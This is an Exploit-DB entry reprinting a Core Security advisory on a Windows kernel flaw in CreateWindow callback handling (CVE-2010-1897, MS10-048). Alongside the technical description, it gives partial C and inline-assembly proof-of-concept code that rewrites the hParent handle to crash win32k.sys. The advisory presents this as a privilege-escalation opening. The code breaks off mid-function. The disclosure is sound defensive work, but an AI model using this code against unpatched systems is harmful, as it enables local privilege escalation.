Exploit-DB #14608
Description: Microsoft Windows - CreateWindow Function Callback (MS10-048)
Type: dos
Platform: windows
Date: 2010-08-10
Author: Core Security

Exploit:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
 
      Core Security Technologies - CoreLabs Advisory
           http://corelabs.coresecurity.com/

Microsoft Windows CreateWindow function callback vulnerability


1. *Advisory Information*

Title: Microsoft Windows CreateWindow function callback vulnerability
Advisory Id: CORE-2010-0623
Advisory URL:
[http://www.coresecurity.com/content/microsoft-windows-createwindow-function-callback-bug]
Date published: 2010-08-10
Date of last update: 2010-08-09
Vendors contacted: Microsoft
Release mode: Coordinated release


2. *Vulnerability Information*

Class: Input validation error [CWE-20]
Impact: Code execution
Remotely Exploitable: No
Locally Exploitable: Yes
CVE Name: CVE-2010-1897
Bugtraq ID: 42206


3. *Vulnerability Description*

A crash due to an invalid read in the Windows kernel can be reliably
leveraged into privileged code execution resulting in a privilege
escalation local vulnerability. This happens because special values of
'hParent' where not sufficiently taken into account when patching
'xxxCreateWindowsEx' on MS010-032[1].


4. *Vulnerable packages*

At least all supported versions of Windows were reported by Microsoft
to be vulnerable:

   . Windows 7
   . Windows Vista
   . Windows Server 2008 R2
   . Windows Server 2008
   . Microsoft Windows XP
   . Microsoft Windows Server 2003


5. *Non-vulnerable packages*

   . Windows 7 with MS10-048
   . Windows Vista with MS10-048
   . Windows Server 2008 R2 with MS10-048
   . Windows Server 2008 with MS10-048
   . Microsoft Windows XP with MS10-048
   . Microsoft Windows Server 2003 with MS10-048


6. *Vendor Information, Solutions and Workarounds*

See Microsoft security bulletin at
[http://go.microsoft.com/fwlink/?LinkId=194552]


7. *Credits*

This vulnerability was discovered by Nicolas Economou from Core
Security Technologies.


8. *Technical Description / Proof of Concept Code*

There is a bug in the 'xxxCreateWindowEx' Windows kernel function,
located in win32k.sys. This function addresses memory with a
user-supplied (via a callback) window pseudo-handle (the 'hParent'
parameter). This bug can be exploited by surreptitiously registering a
callback or "hook" that will cleverly modify parameters passed by the
kernel into userland that are then reused when returning to kernel
from the callback.

In normal execution when the 'CreateWindow' is called from userspace,
the 'NtUserCreateWindowEx' kernel function is executed, the
'xxxCreateWindowEx' is next in the kernel-side call stack. The later
function then checks that the callback functions (or "hooks") where
properly set and calls 'xxxCallHook' which then starts the dispatch
into userland of the registered callback functions.

The problem resides in the mechanism used to pass parameters back to
the process creating the window, like for example the aforementioned
'hParent' parameter. These parameters are passed via the stack into
userspace, and reused by the kernel after the callback function is
executed. If the callback function resets the 'hParent' parameter to
pseudo-handle values like '0xffffffff' or '0xfffffffe' the kernel
crashes (likely because validation of handle values was already done
and was not being re-verified after executing untrusted userland code).

The following code reliably crashes a fully patched version of Windows
XP 32 bits when executed as an unprivileged user. On version
5.1.2600.5976 of win32k.sys the crash occurs on '0xbf832763'
('xxxCreateWindowEx') when reading from unmapped memory ('test byte
ptr [eax+0x1c],0x8'). The value of 'eax' on the crash is '0xfffffffe',
the supplied vulnerable 'hParent' value.

/-----
#include <windows.h>
#include <stdio.h>

#define asm __asm

///////////////////////////////////////////////////////////////////////////

void *KiUserCallbackDispatcher;

///////////////////////////////////////////////////////////////////////////

//__declspec ( naked ) void handler ( void );
void seter ( unsigned int * );
BOOL CALLBACK my_callback ( int , WPARAM , LPARAM );

///////////////////////////////////////////////////////////////////////////

char *trampoline = "\x68"               // "push"
                   "\x12\x34\x56\x78"   // "handler address"
                   "\xc3";              // "ret"

///////////////////////////////////////////////////////////////////////////

__declspec ( naked ) void handler ( void )
{
//  asm int 3

  asm pushad
  asm push esp
  asm call seter
  asm add esp,4
  asm popad

/* The first 3 "KiUserCallbackDispatcher" instructions */
  asm add esp,0x4
  asm pop edx
  asm mov eax,fs:[0x18]

/* Returning to the normal code */
  asm push dword ptr [ KiUserCallbackDispatcher ]
  asm add dword ptr [esp],0x0a
  asm ret
}

///////////////////////////////////////////////////////////////////////////

void seter ( unsigned int *base )
{
  unsigned int *p = ( unsigned int * ) base;
  static int time = 1;

/* If it's the correct call */
  if ( time == 1 )
  {
  /* Searching a known argument */
    while ( 1 )
    {
    /* If it's the interesting value */
      if ( *p == 0x00cf0000 )
      {
      /* If it's the hParent to be modified */
        if ( p [ 4 ] == 0 )
        {
        /* Writing the magic argument */
          p [ 4 ] = 0xfffffffe;      /* <<<<<<<< BUG <<<<<<<< */

        /* Closing the door */
          time ++;
        }

       /* Leaving */
        break;
      }
      else
      {
        p ++;
      }
    }
  }
  else
  {
    time ++;
  }

}

///////////////////////////////////////////////////////////////////////////

BOOL CALLBACK my_callback ( int algo , WPARAM wparam , LPARAM lparam )
{
  return ( FALSE );
}

///////////////////////////////////////////////////////////////////////////

int main ( int argc , char *argv [] )
{
  unsigned int nbytes